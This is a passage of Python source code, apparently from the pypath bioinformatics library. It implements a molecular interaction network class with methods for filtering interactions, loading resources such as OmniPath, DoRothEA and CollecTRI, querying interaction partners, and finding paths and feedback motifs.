self.interactions_by_nodes[entity_b] -= keys\n\n if (\n entity_a in self.interactions_by_nodes and\n not self.interactions_by_nodes[entity_a]\n ):\n\n self.remove_node(entity_a)\n\n if (\n entity_b in self.interactions_by_nodes and\n not self.interactions_by_nodes[entity_b]\n ):\n\n self.remove_node(entity_b)\n\n\n def remove_zero_degree(self):\n \"\"\"\n Removes all nodes with no interaction.\n \"\"\"\n\n self._log(\n 'Removing zero degree nodes. '\n '%u nodes and %u interactions before.' % (\n self.vcount,\n self.ecount,\n )\n )\n\n to_remove = set()\n\n for node, interactions in iteritems(self.interactions_by_nodes):\n\n if not interactions:\n\n to_remove.add(node)\n\n for node in to_remove:\n\n self.remove_node(node)\n\n self._log(\n 'Finished removing zero degree nodes. '\n '%u nodes have been removed, '\n '%u nodes and %u interactions remained.' % (\n len(to_remove),\n self.vcount,\n self.ecount,\n )\n )\n\n\n def remove_loops(self):\n \"\"\"\n Removes the loop interactions from the network i.e. the ones with\n their two endpoints being the same entity.\n \"\"\"\n\n self._log(\n 'Removing loop edges. Number of edges before: %u.' % len(self)\n )\n\n for ia in list(self):\n\n if ia.is_loop():\n\n self.remove_interaction(ia.a, ia.b)\n\n self._log(\n 'Removed loop edges. Number of edges after: %u.' % len(self)\n )\n\n\n @property\n def resources(self):\n \"\"\"\n Returns a set of all resources.\n \"\"\"\n\n return set.union(*(ia.get_resources() for ia in self))\n\n\n @property\n def resource_names(self):\n \"\"\"\n Returns a set of all resource names.\n \"\"\"\n\n return set.union(*(ia.get_resource_names() for ia in self))\n\n\n def entities_by_resource(self):\n \"\"\"\n Returns a dict of sets with resources as keys and sets of entity IDs\n as values.\n \"\"\"\n\n return dict(\n (\n resource,\n set(\n itertools.chain(\n *self.df[\n [\n resource in resources\n for resources in self.df.sources\n ]\n ][['id_a', 'id_b']].values\n )\n )\n )\n for resource in self.resources\n )\n\n\n def entity_by_id(self, identifier):\n \"\"\"\n Returns a ``pypath.entity.Entity`` object representing a molecular\n entity by looking it up by its identifier. If the molecule does not\n present in the current network ``None`` will be returned.\n\n :arg str identifier:\n The identifier of a molecular entity. Unless it's been set\n otherwise for genes/proteins it is the UniProt ID.\n E.g. ``'P00533'``.\n \"\"\"\n\n if identifier in self.nodes:\n\n return self.nodes[identifier]\n\n\n def entity_by_label(self, label):\n \"\"\"\n Returns a ``pypath.entity.Entity`` object representing a molecular\n entity by looking it up by its label. If the molecule does not\n present in the current network ``None`` will be returned.\n\n :arg str label:\n The label of a molecular entity. Unless it's been set otherwise\n for genes/proteins it is the Gene Symbol. E.g. ``'EGFR'``.\n \"\"\"\n\n if label in self.nodes_by_label:\n\n return self.nodes_by_label[label]\n\n\n def interaction(self, a, b):\n \"\"\"\n Retrieves the interaction `a --> b` if it exists in the network,\n otherwise `b --> a`. If no interaction exist between `a` and `b`\n returns `None`.\n \"\"\"\n\n entity_a = self.entity(a)\n entity_b = self.entity(b)\n\n key_ab = (entity_a, entity_b)\n key_ba = (entity_b, entity_a)\n\n if key_ab in self.interactions:\n\n return self.interactions[key_ab]\n\n elif key_ba in self.interactions:\n\n return self.interactions[key_ba]\n\n\n def random_interaction(self, **kwargs):\n \"\"\"\n Picks a random interaction from the network.\n\n Returns\n An Interaction object, or None if the network is empty.\n \"\"\"\n\n key = None\n\n keys = (\n self.get_interactions(**kwargs)\n if kwargs else\n self.interactions.keys()\n )\n\n for _, key in zip(range(random.randint(0, len(self)) + 1), keys):\n\n pass\n\n if key:\n\n key = tuple(sorted(key, key = lambda e: e.identifier))\n\n return self.interactions[key] if key else None\n\n\n def _get_interaction(self, id_a, id_b, name_type = 'id'):\n\n method = 'entity_by_%s' % name_type\n\n entity_a = getattr(self, method)(id_a)\n entity_b = getattr(self, method)(id_b)\n\n a_b = (entity_a, entity_b)\n b_a = (entity_b, entity_a)\n\n if a_b in self.interactions:\n\n return self.interactions[a_b]\n\n elif b_a in self.interactions:\n\n return self.interactions[b_a]\n\n\n def entity(self, entity):\n\n if not isinstance(entity, entity_mod.Entity):\n\n entity = self.entity_by_id(entity) or self.entity_by_label(entity)\n\n return entity\n\n\n def interaction_by_id(self, id_a, id_b):\n \"\"\"\n Returns a ``pypath.interaction.Interaction`` object by looking it up\n based on a pair of identifiers. If the interaction does not exist\n in the network ``None`` will be returned.\n\n :arg str id_a:\n The identifier of one of the partners in the interaction. Unless\n it's been set otherwise for genes/proteins it is the UniProt ID.\n E.g. ``'P00533'``.\n :arg str id_b:\n The other partner, similarly to ``id_a``. The order of the\n partners does not matter here.\n \"\"\"\n\n return self._get_interaction(id_a, id_b)\n\n\n def interaction_by_label(self, label_a, label_b):\n \"\"\"\n Returns a ``pypath.interaction.Interaction`` object by looking it up\n based on a pair of labels. If the interaction does not exist\n in the network ``None`` will be returned.\n\n :arg str label_a:\n The label of one of the partners in the interaction. Unless\n it's been set otherwise for genes/proteins it is the Gene Symbol.\n E.g. ``'EGFR'``.\n :arg str label_b:\n The other partner, similarly to ``label_a``. The order of the\n partners does not matter here.\n \"\"\"\n\n return self._get_interaction(label_a, label_b, name_type = 'label')\n\n\n def to_igraph(self):\n \"\"\"\n Converts the network to the legacy ``igraph.Graph`` based ``PyPath``\n object.\n \"\"\"\n\n raise NotImplementedError\n\n\n def __repr__(self):\n\n return '<Network: %u nodes, %u interactions>' % (\n self.vcount,\n self.ecount,\n )\n\n\n def save_to_pickle(self, pickle_file):\n \"\"\"\n Saves the network to a pickle file.\n\n :arg str pickle_file:\n Path to the pickle file.\n \"\"\"\n\n self._log('Saving to pickle `%s`.' % pickle_file)\n\n with open(pickle_file, 'wb') as fp:\n\n pickle.dump(\n obj = (\n self.interactions,\n self.nodes,\n self.nodes_by_label,\n ),\n file = fp,\n )\n\n self._update_interactions_by_nodes()\n\n self._log('Saved to pickle `%s`.' % pickle_file)\n\n\n def _update_interactions_by_nodes(self):\n\n self.interactions_by_nodes = collections.defaultdict(set)\n\n for key, ia in iteritems(self.interactions):\n\n self.interactions_by_nodes[ia.a].add(key)\n self.interactions_by_nodes[ia.b].add(key)\n\n\n def load_from_pickle(self, pickle_file):\n \"\"\"\n Loads the network to a pickle file.\n\n :arg str pickle_file:\n Path to the pickle file.\n \"\"\"\n\n self._log('Loading from pickle `%s`.' % pickle_file)\n\n with open(pickle_file, 'rb') as fp:\n\n (\n self.interactions,\n self.nodes,\n self.nodes_by_label,\n ) = pickle.load(fp)\n\n self._update_interactions_by_nodes()\n\n self._log('Loaded from pickle `%s`.' % pickle_file)\n\n\n @classmethod\n def from_pickle(cls, pickle_file: str, **kwargs):\n \"\"\"\n Initializes a new ``Network`` object by loading it from a pickle\n file. Returns a ``Network`` object.\n\n Args\n pickle_file:\n Path to a pickle file.\n kwargs:\n Passed to ``Network.__init__``.\n \"\"\"\n\n new = cls(\n pickle_file = pickle_file,\n **kwargs\n )\n\n return new\n\n\n def extra_directions(\n self,\n resources = 'extra_directions',\n use_laudanna = False,\n use_string = False,\n dataset = 'directionextra',\n ):\n \"\"\"\n Adds additional direction & effect information from resources having\n no literature curated references, but giving sufficient evidence\n about the directionality for interactions already supported by\n literature evidences from other sources.\n \"\"\"\n\n resources = (\n getattr(network_resources, resources)\n if isinstance(resources, common.basestring) else\n list(resources)\n )\n\n if use_laudanna:\n\n resources.append(\n network_resources.pathway_bad['laudanna_effects']\n )\n resources.append(\n network_resources.pathway_bad['laudanna_directions']\n )\n\n if use_string:\n\n pass\n\n resources = resource_mod.NetworkDataset(\n name = dataset,\n resources = resources,\n )\n\n self.load(resources = resources, only_directions = True)\n\n\n @staticmethod\n def omnipath_resources(\n omnipath = None,\n kinase_substrate_extra = False,\n ligand_receptor_extra = False,\n pathway_extra = False,\n old_omnipath_resources = False,\n exclude = None,\n ) -> list[network_resoruces.resource.NetworkResource]:\n\n\n def reference_constraints(resources, data_model, relax = True):\n\n result = []\n\n resources = (\n resources.values()\n if isinstance(resources, dict) else\n resources\n )\n\n resources = copy_mod.deepcopy(resources)\n\n for res in resources:\n\n if res.data_model == data_model:\n\n res.networkinput.must_have_references = not relax\n result.append(res)\n\n return result\n\n\n omnipath = omnipath or copy_mod.deepcopy(network_resources.omnipath)\n exclude = common.to_set(exclude)\n\n if old_omnipath_resources:\n\n interaction_resources = (\n copy_mod.deepcopy(network_resources.interaction)\n )\n\n omnipath = copy_mod.deepcopy(omnipath)\n omnipath['biogrid'] = interaction_resources['biogrid']\n omnipath['alz'] = interaction_resources['alz']\n omnipath['netpath'] = interaction_resources['netpath']\n exclude.update({'IntAct', 'HPRD'})\n\n else:\n\n omnipath['huri'] = copy_mod.deepcopy(\n network_resources.interaction_misc['huri']\n )\n\n omnipath = list(omnipath.without(exclude))\n\n for dataset, data_model, enabled in (\n ('pathwayextra', 'activity_flow', pathway_extra),\n ('ligrecextra', 'ligand_receptor', ligand_receptor_extra),\n ('kinaseextra', 'enzyme_substrate', kinase_substrate_extra),\n ):\n\n if enabled:\n\n extra = list(\n resource_mod.NetworkDataset(\n name = dataset,\n resources = reference_constraints(\n omnipath,\n data_model,\n ),\n )\n )\n\n omnipath.extend(extra)\n\n return omnipath\n\n\n def load_omnipath(\n self,\n omnipath = None,\n kinase_substrate_extra = False,\n ligand_receptor_extra = False,\n pathway_extra = False,\n extra_directions = True,\n remove_htp = False,\n htp_threshold = 1,\n keep_directed = True,\n remove_undirected = True,\n min_refs_undirected = None,\n min_resources_undirected = 2,\n old_omnipath_resources = False,\n exclude = None,\n pickle_file = None,\n allow_loops = None,\n ):\n\n self._log('Loading the `OmniPath` network.')\n\n if pickle_file:\n\n self.load(pickle_file = pickle_file)\n return\n\n omnipath = self.omnipath_resources(\n omnipath = omnipath,\n kinase_substrate_extra = kinase_substrate_extra,\n ligand_receptor_extra = ligand_receptor_extra,\n pathway_extra = pathway_extra,\n old_omnipath_resources = old_omnipath_resources,\n exclude = exclude,\n )\n\n self.load(omnipath, exclude = exclude, allow_loops = allow_loops)\n\n\n for dataset, label, enabled in (\n ('pathwayextra', 'activity flow', pathway_extra),\n ('ligrecextra', 'ligand-receptor', ligand_receptor_extra),\n ('kinaseextra', 'enzyme-PTM', kinase_substrate_extra),\n ):\n\n if enabled:\n\n self._log(f'Loading extra {label} interactions.')\n\n self.load(\n getattr(network_resources, dataset).rename(dataset),\n exclude = exclude,\n )\n\n if extra_directions:\n\n self.extra_directions()\n\n if remove_htp:\n\n self.remove_htp(\n threshold = htp_threshold,\n keep_directed = keep_directed,\n )\n\n if remove_undirected:\n\n self.remove_undirected(\n min_refs = min_refs_undirected,\n min_resources = min_resources_undirected,\n )\n\n self._log('Finished loading the `OmniPath` network.')\n\n\n def remove_htp(self, threshold = 50, keep_directed = False):\n\n self._log(\n 'Removing high-throughput interactions above threshold %u'\n ' interactions per reference. Directed interactions %s.' % (\n threshold,\n 'will be kept' if keep_directed else 'also will be removed'\n )\n )\n\n to_remove = self.htp_interactions(\n threshold = threshold,\n ignore_directed = keep_directed,\n )\n\n ecount_before = self.ecount\n vcount_before = self.vcount\n\n for key in to_remove:\n\n self.remove_interaction(*key)\n\n self._log(\n 'Interactions with only high-throughput references '\n 'have been removed. %u interactions removed. '\n 'Number of edges decreased from %u to %u, '\n 'number of nodes from %u to %u.' % (\n len(to_remove),\n ecount_before,\n self.ecount,\n vcount_before,\n self.vcount,\n )\n )\n\n\n def htp_references(self, threshold = 50):\n \"\"\"\n Collects the high-throughput references i.e. the ones cited at a\n higher number of interactions than ``threshold``.\n \"\"\"\n\n interactions_per_reference = self.numof_interactions_per_reference()\n\n htp_refs = {\n ref\n for ref, cnt in iteritems(interactions_per_reference)\n if cnt > threshold\n }\n\n self._log('High-throughput references collected: %u' % len(htp_refs))\n\n return htp_refs\n\n\n def htp_interactions(self, threshold = 50, ignore_directed = False):\n \"\"\"\n Collects the interactions only from high-throughput studies.\n\n :returns:\n Set of interaction keys (tuples of entities).\n \"\"\"\n\n htp_refs = self.htp_references(threshold = threshold)\n\n htp_int = set()\n\n for key, ia in iteritems(self.interactions):\n\n if (\n (\n not ignore_directed or\n not ia.is_directed()\n ) and\n not ia.get_references() - htp_refs\n ):\n\n htp_int.add(key)\n\n self._log('High-throughput interactions collected: %u' % len(htp_int))\n\n return htp_int\n\n\n def remove_undirected(self, min_refs = None, min_resources = None):\n\n self._log(\n 'Removing undirected interactions%s%s%s.' % (\n (\n ' with less than %u references' % min_refs\n )\n if min_refs else '',\n ' and' if min_refs and min_resources else '',\n (\n ' with less than %u resources ' % min_resources\n ),\n )\n )\n\n ecount_before = self.ecount\n vcount_before = self.vcount\n\n to_remove = set()\n\n for key, ia in iteritems(self.interactions):\n\n if (\n not ia.is_directed() and\n (\n not min_refs or\n ia.count_references() < min_refs\n ) and\n (\n not min_resources or\n ia.count_resource_names() < min_resources\n )\n ):\n\n to_remove.add(key)\n\n for key in to_remove:\n\n self.remove_interaction(*key)\n\n self._log(\n 'Undirected interactions %s have been removed. '\n '%u interactions removed. Number of edges '\n 'decreased from %u to %u, number of vertices '\n 'from %u to %u.' % (\n ''\n if min_refs is None else\n 'with less than %u references' % min_refs,\n len(to_remove),\n ecount_before,\n self.ecount,\n vcount_before,\n self.vcount,\n )\n )\n\n\n def numof_interactions_per_reference(self):\n \"\"\"\n Counts the number of interactions for each literature reference.\n Returns a ``collections.Counter`` object (similar to ``dict``).\n \"\"\"\n\n return collections.Counter(\n itertools.chain(\n *(\n ia.get_references()\n for ia in self\n )\n )\n )\n\n\n def interactions_by_reference(self):\n \"\"\"\n Creates a ``dict`` with literature references as keys and interactions\n described by each reference as values.\n \"\"\"\n\n interactions_by_reference = collections.defaultdict(set)\n\n for i_key, ia in iteritems(self.interactions):\n\n for ref in ia.get_references():\n\n interactions_by_reference[ref].add(i_key)\n\n return dict(interactions_by_reference)\n\n #\n # Methods for loading specific datasets or initializing the object\n # with loading datasets\n #\n\n @classmethod\n def omnipath(\n cls,\n omnipath = None,\n kinase_substrate_extra = False,\n ligand_receptor_extra = False,\n pathway_extra = False,\n extra_directions = True,\n remove_htp = False,\n htp_threshold = 1,\n keep_directed = True,\n min_refs_undirected = 2,\n old_omnipath_resources = False,\n exclude = None,\n ncbi_tax_id = 9606,\n **kwargs\n ):\n\n make_df = kwargs.pop('make_df', None)\n\n new = cls(ncbi_tax_id = ncbi_tax_id, **kwargs)\n\n new.load_omnipath(\n omnipath = omnipath,\n kinase_substrate_extra = kinase_substrate_extra,\n ligand_receptor_extra = ligand_receptor_extra,\n pathway_extra = pathway_extra,\n extra_directions = extra_directions,\n remove_htp = remove_htp,\n htp_threshold = htp_threshold,\n keep_directed = keep_directed,\n min_refs_undirected = min_refs_undirected,\n old_omnipath_resources = old_omnipath_resources,\n exclude = exclude,\n )\n\n if make_df:\n\n cls.make_df()\n\n return new\n\n\n @staticmethod\n def dorothea_resources(levels = None, expand_levels = None):\n\n expand_levels = (\n expand_levels\n if isinstance(expand_levels, bool) else\n settings.get('dorothea_expand_levels')\n )\n\n dorothea = copy_mod.deepcopy(network_resources.transcription_dorothea)\n\n if levels:\n\n dorothea['dorothea'].networkinput.input_args['levels'] = levels\n\n dorothea = (\n network_resources.dorothea_expand_levels(dorothea, levels = levels)\n if expand_levels else\n dorothea\n )\n\n dorothea = dorothea.rename('dorothea')\n\n return dorothea\n\n\n def load_dorothea(self, levels = None, expand_levels = None, **kwargs):\n\n dorothea = self.dorothea_resources(\n levels = levels,\n expand_levels = expand_levels,\n )\n\n self.load(dorothea, **kwargs)\n\n\n @classmethod\n def dorothea(cls, levels = None, ncbi_tax_id = 9606, **kwargs):\n \"\"\"\n Initializes a new ``Network`` object with loading the transcriptional\n regulation network from DoRothEA.\n\n :arg NontType,set levels:\n The confidence levels to include.\n \"\"\"\n\n make_df = kwargs.pop('make_df', False)\n\n new = cls(ncbi_tax_id = ncbi_tax_id, **kwargs)\n\n new.load_dorothea(levels = levels, make_df = make_df)\n\n return new\n\n\n def load_collectri(self, **kwargs):\n\n self.load(network_resources.collectri, **kwargs)\n\n\n @classmethod\n def collectri(cls, ncbi_tax_id = 9606, **kwargs):\n \"\"\"\n Initializes a new ``Network`` object with loading the transcriptional\n regulation network from CollecTRI.\n \"\"\"\n\n make_df = kwargs.pop('make_df', False)\n\n new = cls(ncbi_tax_id = ncbi_tax_id, **kwargs)\n\n new.load_collectri(make_df = make_df)\n\n return new\n\n\n def load_transcription(\n self,\n collectri = True,\n dorothea = True,\n original_resources = True,\n dorothea_levels = None,\n exclude = None,\n reread = False,\n redownload = False,\n allow_loops = None,\n **kwargs\n ):\n\n make_df = kwargs.pop('make_df', None)\n\n if collectri:\n\n self.load_collectri(\n reread = reread,\n redownload = redownload,\n allow_loops = allow_loops,\n )\n\n if dorothea:\n\n self.load_dorothea(\n levels = dorothea_levels,\n reread = reread,\n redownload = redownload,\n allow_loops = allow_loops,\n )\n\n if original_resources:\n\n transcription = (\n original_resources\n if not isinstance(original_resources, bool) else\n network_resources.transcription_onebyone.rename('tf_target')\n )\n\n self.load(\n resources = transcription,\n reread = reread,\n redownload = redownload,\n exclude = exclude,\n allow_loops = allow_loops,\n )\n\n if make_df:\n\n self.make_df()\n\n\n @classmethod\n def transcription(\n cls,\n dorothea = True,\n original_resources = True,\n dorothea_levels = None,\n exclude = None,\n reread = False,\n redownload = False,\n make_df = False,\n ncbi_tax_id = 9606,\n allow_loops = None,\n **kwargs\n ):\n \"\"\"\n Initializes a new ``Network`` object with loading a transcriptional\n regulation network from all databases by default.\n\n Args\n kwargs:\n Passed to ``Network.__init__``.\n \"\"\"\n\n load_args = locals()\n kwargs = load_args.pop('kwargs')\n ncbi_tax_id = load_args.pop('ncbi_tax_id')\n kwargs['ncbi_tax_id'] = ncbi_tax_id\n cls = load_args.pop('cls')\n\n new = cls(**kwargs)\n\n new.load_transcription(**load_args)\n\n return new\n\n\n def load_mirna_target(self, **kwargs):\n\n if 'resources' not in kwargs:\n\n kwargs['resources'] = (\n network_resources.mirna_target.rename('mirnatarget')\n )\n\n self.load(**kwargs)\n\n\n @classmethod\n def mirna_target(\n cls,\n resources = None,\n make_df = None,\n reread = False,\n redownload = False,\n exclude = None,\n ncbi_tax_id = 9606,\n **kwargs\n ):\n \"\"\"\n Initializes a new ``Network`` object with loading a miRNA-mRNA\n regulation network from all databases by default.\n\n Args\n kwargs:\n Passed to ``Network.__init__``.\n \"\"\"\n\n new = cls(ncbi_tax_id = ncbi_tax_id, **kwargs)\n\n new.load_mirna_target(\n exclude = exclude,\n make_df = make_df,\n reread = reread,\n redownload = redownload,\n )\n\n return new\n\n #\n # Methods for querying partners by node\n #\n\n def partners(\n self,\n entity,\n mode = 'ALL',\n direction: bool | tuple | None = None,\n effect: bool | str | None = None,\n resources: str | set[str] | None = None,\n interaction_type: str | set[str] | None = None,\n data_model: str | set[str] | None = None,\n via: bool | str | set[str] | None = None,\n references: bool | str | set[str] | None = None,\n return_interactions: bool = False,\n ):\n \"\"\"\n :arg str,Entity,list,set,tuple,EntityList entity:\n An identifier or label of a molecular entity or an\n :py:class:`Entity` object. Alternatively an iterator with the\n elements of any of the types valid for a single entity argument,\n e.g. a list of gene symbols.\n :arg str mode:\n Mode of counting the interactions: `IN`, `OUT` or `ALL` , whether\n to consider incoming, outgoing or all edges, respectively,\n respective to the `node defined in `entity``.\n\n :returns:\n :py:class:`EntityList` object containing the partners having\n interactions to the queried node(s) matching all the criteria.\n If ``entity`` doesn't present in the network the returned\n ``EntityList`` will be empty just like if no interaction matches\n the criteria.\n \"\"\"\n\n if (\n not common.is_str(entity) and\n not hasattr(entity, 'identifier') and\n hasattr(entity, '__iter__')\n ):\n\n kwargs = locals()\n _ = kwargs.pop('self')\n _ = kwargs.pop('entity')\n _ = kwargs.pop('return_interactions')\n\n return entity_mod.EntityList(\n set(itertools.chain(*(\n self.partners(_entity, **kwargs)\n for _entity in entity\n )))\n )\n\n entity = self.entity(entity)\n\n # we need to swap it to make it work relative to the queried entity\n _mode = (\n 'IN'\n if mode == 'OUT' else\n 'OUT'\n if mode == 'IN' else\n 'ALL'\n )\n\n return (\n entity_mod.EntityList(\n {\n partner\n for ia in self.interactions_by_nodes[entity]\n for partner in self.interactions[ia].get_degrees(\n mode = _mode,\n direction = direction,\n effect = effect,\n resources = resources,\n interaction_type = interaction_type,\n data_model = data_model,\n via = via,\n references = references,\n )\n if partner != entity or self.interactions[ia].is_loop()\n }\n if entity in self.interactions_by_nodes else\n ()\n )\n )\n\n\n def count_partners(self, entity, **kwargs):\n \"\"\"\n Returns the count of the interacting partners for one or more\n entities according to the specified criteria.\n Please refer to the docs of the ``partners`` method.\n \"\"\"\n\n return len(self.partners(entity = entity, **kwargs))\n\n\n @classmethod\n def _generate_partners_methods(cls):\n\n def _create_partners_method(method_args):\n\n count = method_args.pop('count')\n method = 'count_partners' if count else 'partners'\n\n @functools.wraps(method_args)\n def _partners_method(*args, **kwargs):\n\n self = args[0]\n kwargs.update(method_args)\n\n return getattr(self, method)(*args[1:], **kwargs)\n\n _partners_method.__doc__ = getattr(cls, method).__doc__\n\n return _partners_method\n\n for name_parts, arg_parts in (\n zip(*param)\n for param in\n itertools.product(\n *(iteritems(variety) for variety in cls._partners_methods)\n )\n ):\n\n for count in (False, True):\n\n method_args = dict(\n itertools.chain(\n *(iteritems(part) for part in arg_parts)\n )\n )\n method_name = ''.join(name_parts)\n method_name = (\n 'count_%s' % method_name if count else method_name\n )\n method_args['count'] = count\n method = _create_partners_method(method_args)\n method.__name__ = method_name\n\n setattr(\n cls,\n method_name,\n method,\n )\n\n #\n # Methods for selecting paths and motives in the network\n #\n\n def find_paths(\n self,\n start: (\n str | entity.Entity | entity.EntityList |\n Iterable[str | entity.Entity]\n ),\n end: (\n str | entity.Entity | entity.EntityList |\n Iterable[str | entity.Entity] |\n None\n ) = None,\n loops: bool = False,\n mode: Literal['OUT', 'IN', 'ALL'] = 'OUT',\n maxlen: int = 2,\n minlen: int = 1,\n direction: bool | tuple | None = None,\n effect: bool | str | None = None,\n resources: str | set[str] | None = None,\n interaction_type: str | set[str] | None = None,\n data_model: str | set[str] | None = None,\n via: bool | str | set[str] | None = None,\n references: bool | str | set[str] | None = None,\n silent: bool = False,\n ):\n \"\"\"\n Find paths or motifs in a network.\n\n Finds all paths up to length ``maxlen`` between groups of nodes.\n In addition is able to search for motifs or select the nodes of a\n subnetwork around certain nodes.\n\n Args\n start:\n Starting node(s) of the paths.\n end:\n Target node(s) of the paths. If ``None`` any target node will\n be accepted and all paths from the starting nodes with length\n ``maxlen`` will be returned.\n loops:\n Search for loops, i.e. the start and end nodes of each path\n should be the same.\n mode:\n Direction of the paths. ``'OUT'`` means from ``start`` to ``end``,\n ``'IN'`` the opposite direction while ``'ALL'`` both directions.\n maxlen:\n Maximum length of paths in steps, i.e. if maxlen = 3, then\n the longest path may consist of 3 edges and 4 nodes.\n minlen:\n Minimum length of the path.\n silent:\n Indicate progress by showing a progress bar.\n\n Details\n The arguments: ``direction``, ``effect``, ``resources``,\n ``interaction_type``, ``data_model``, ``via`` and ``references``\n will be passed to the ``partners`` method of this object and from\n there to the relevant methods of the ``Interaction`` and\n ``Evidence`` objects. By these arguments it is possible to filter\n the interactions in the paths according to custom criteria. If any\n of these arguments is a ``tuple`` or ``list``, its first value will\n be used to match the first interaction in the path, the second for\n the second one and so on. If the list or tuple is shorter then\n ``maxlen``, its last element will be used for all interactions.\n If it's longer than ``maxlen``, the remaining elements will be\n discarded. This way the method is able to search for custom\n motives. For example, let's say you want to find the motives\n where the estrogen receptor transcription factor *ESR1*\n transcriptionally regulates a gene encoding a protein which\n then has some effect post-translationally on *ESR1*:\n\n Examples\n\n n.find_paths(\n 'ESR1',\n loops = True,\n minlen = 2,\n interaction_type = ('transcriptional', 'post_translational'),\n )\n\n # Or if you are interested only in the -/+ feedback loops i.e.\n # *ESR1 --(-)--> X --(+)--> ESR1*:\n\n n.find_paths(\n 'ESR1',\n loops = True,\n minlen = 2,\n interaction_type = ('transcriptional', 'post_translational'),\n effect = ('negative', 'positive'),\n )\n \"\"\"\n\n def list_of_entities(entities):\n\n entities = (\n (entities,)\n if isinstance(\n entities,\n (common.basestring, entity_mod.Entity)\n ) else\n entities\n )\n\n entities = [self.entity(en) for en in entities]\n\n return entities\n\n\n def interaction_arg(value):\n\n value = (\n tuple(value)\n if isinstance(value, (tuple, list)) else\n (value,)\n )\n\n value = value + (value[-1],) * (maxlen - len(value))\n value = value[:maxlen]\n\n return value\n\n\n def find_all_paths_aux(start, end, path, maxlen = None):\n\n path = path + [start]\n\n if (\n len(path) >= minlen + 1 and\n (\n start == end or\n (\n end is None and\n not loops and\n len(path) == maxlen + 1\n ) or\n (\n loops and\n path[0] == path[-1]\n )\n )\n ):\n\n return [path]\n\n paths = []\n\n if len(path) <= maxlen:\n\n next_steps = set(\n self.partners(\n entity = start,\n **interaction_args[len(path) - 1]\n )\n )\n\n next_steps = next_steps if loops else next_steps - set(path)\n\n for node in next_steps:\n\n paths.extend(\n find_all_paths_aux(\n node,\n end,\n path, maxlen\n )\n )\n\n return paths\n\n\n minlen = max(1, minlen)\n start = list_of_entities(start)\n end = list_of_entities(end) if end else (None,)\n\n interaction_args = {\n 'mode': interaction_arg(mode),\n 'direction': interaction_arg(direction),\n 'effect': interaction_arg(effect),\n 'resources': interaction_arg(resources),\n 'interaction_type': interaction_arg(interaction_type),\n 'data_model': interaction_arg(data_model),\n 'via': interaction_arg(via),\n 'references': interaction_arg(references),\n }\n interaction_args = tuple(\n dict(\n (key, interaction_args[key][i])\n for key in interaction_args.keys()\n )\n for i in range(maxlen)\n )\n\n all_paths = []\n\n if not silent:\n prg = progress.Progress(\n len(start) * len(end),\n 'Looking up all paths up to length %u' % maxlen, 1)\n\n for s in start:\n\n for e in end:\n\n if not silent:\n prg.step()\n\n all_paths.extend(find_all_paths_aux(s, e, [], maxlen))\n\n if not silent:\n prg.terminate()\n\n return all_paths\n\n #\n # Methods for collecting interaction attributes across the network\n #\n\n def _collect(\n self,\n what,\n by = None,\n add_total = False,\n **kwargs\n ):\n \"\"\"\n Collects the values of an attribute over all interactions in the\n network.\n\n Args\n kwargs:\n Passed to methods of\n :py:class:`pypath.interaction.Interaction`.\n \"\"\"\n\n result = set() if not by else collections.defaultdict(set)\n\n method = self._get_by_method_name(what, by)\n\n if not hasattr(interaction_mod.Interaction, method):\n\n self._log('Collecting attributes: no such method: `%s`.' % method)\n\n else:\n\n for ia in self:\n\n ia_attrs = getattr(ia, method)(**kwargs)\n\n if by:\n\n for grp, val in iteritems(ia_attrs):\n\n result[grp].update(val)\n\n else:\n\n result.update(ia_attrs)\n\n if by and add_total:\n\n result['total'] = set.union(*result.values())\n\n return dict(result) if by else result\n\n\n @classmethod\n def _generate_collect_methods(cls):\n\n def _create_collect_method(what):\n\n @functools.wraps(what)\n def _collect_method(self, **kwargs):\n\n kwargs['what'] = what\n\n self._log('Collecting `%s`.' % what)\n\n collection = self._collect(\n by = 'interaction_type_and_data_model_and_resource',\n **kwargs\n )\n\n return (\n NetworkEntityCollection(\n collection = collection,\n label = what,\n )\n )\n\n return _collect_method\n\n\n for _get in interaction_mod.Interaction._get_methods:\n\n method = _create_collect_method(_get)\n method_name = 'collect_%s' % _get\n doc = (\n 'Builds a comprehensive collection of `%s` entities '\n 'across the network, counts unique and shared objects '\n 'by resource, data model and interaction types.' % _get\n )\n signature = interaction_mod.Interaction._get_method_signature\n\n if 'degree' in _get:\n\n signature = [('mode',)] + signature\n\n cls._add_method(\n method_name,\n method,\n signature = signature,\n doc = doc,\n )\n\n\n def update_summaries(self, collect_args = None):\n\n\n def get_labels(lab, key, segments):\n\n return tuple(\n (\n '%s%s%s%s' % (\n key,\n '_' if seg else '',\n seg.replace(' ', '_'),\n '_pct' if pct else '_n',\n ),\n '%s%s%s%s' % (lab, ' ' if seg else '', seg, pct)\n )\n for seg in segments\n for pct in ('', r' [%]')\n )\n\n\n def add_resource_segments(rec, res, key, lab, segments, coll):\n\n get = coll[key].__getattribute__\n\n values = tuple(itertools.chain(*zip(*(\n (\n get('%s_collection' % n_pct).get(res, 0),\n get('%s_shared_within_data_model' % n_pct).get(res, 0),\n get('%s_unique_within_data_model' % n_pct).get(res, 0),\n get(\n '%s_shared_within_interaction_type' % n_pct\n ).get(res, 0),\n get(\n '%s_unique_within_interaction_type' % n_pct\n ).get(res, 0),\n )\n for n_pct in ('n', 'pct')\n ))))\n\n labels = get_labels(lab, key, segments)\n\n rec.extend(list(zip(labels, values)))\n\n return rec\n\n\n def add_dmodel_segments(rec, itype, dmodel, key, lab, segments, coll):\n\n it_dm_key = (itype, dmodel)\n total_key = it_dm_key + ('Total',)\n\n get = coll[key].__getattribute__\n\n values = tuple(itertools.chain(*zip(*(\n (\n get('%s_by_data_model' % n_pct).get(it_dm_key, 0),\n get(\n '%s_shared_within_data_model' % n_pct\n ).get(total_key, 0),\n get(\n '%s_unique_within_data_model' % n_pct\n ).get(total_key, 0),\n get('%s_shared_by_data_model' % n_pct).get(it_dm_key, 0),\n get('%s_unique_by_data_model' % n_pct).get(it_dm_key, 0),\n )\n for n_pct in ('n', 'pct')\n ))))\n\n labels = get_labels(lab, key, segments)\n\n rec.extend(list(zip(labels, values)))\n\n return rec\n\n\n def add_itype_segments(rec, itype, key, lab, segments, coll):\n\n get = coll[key].__getattribute__\n total_key = (itype, 'all', 'Total')\n\n values = tuple(itertools.chain(*zip(*(\n (\n get('%s_by_interaction_type' % n_pct).get(itype, 0),\n get(\n '%s_shared_within_interaction_type' % n_pct\n ).get(total_key, 0),\n get(\n '%s_unique_within_interaction_type' % n_pct\n ).get(total_key, 0),\n get('%s_shared_by_data_model' % n_pct).get(total_key, 0),\n get('%s_unique_by_data_model' % n_pct).get(total_key, 0),\n )\n for n_pct in ('n', 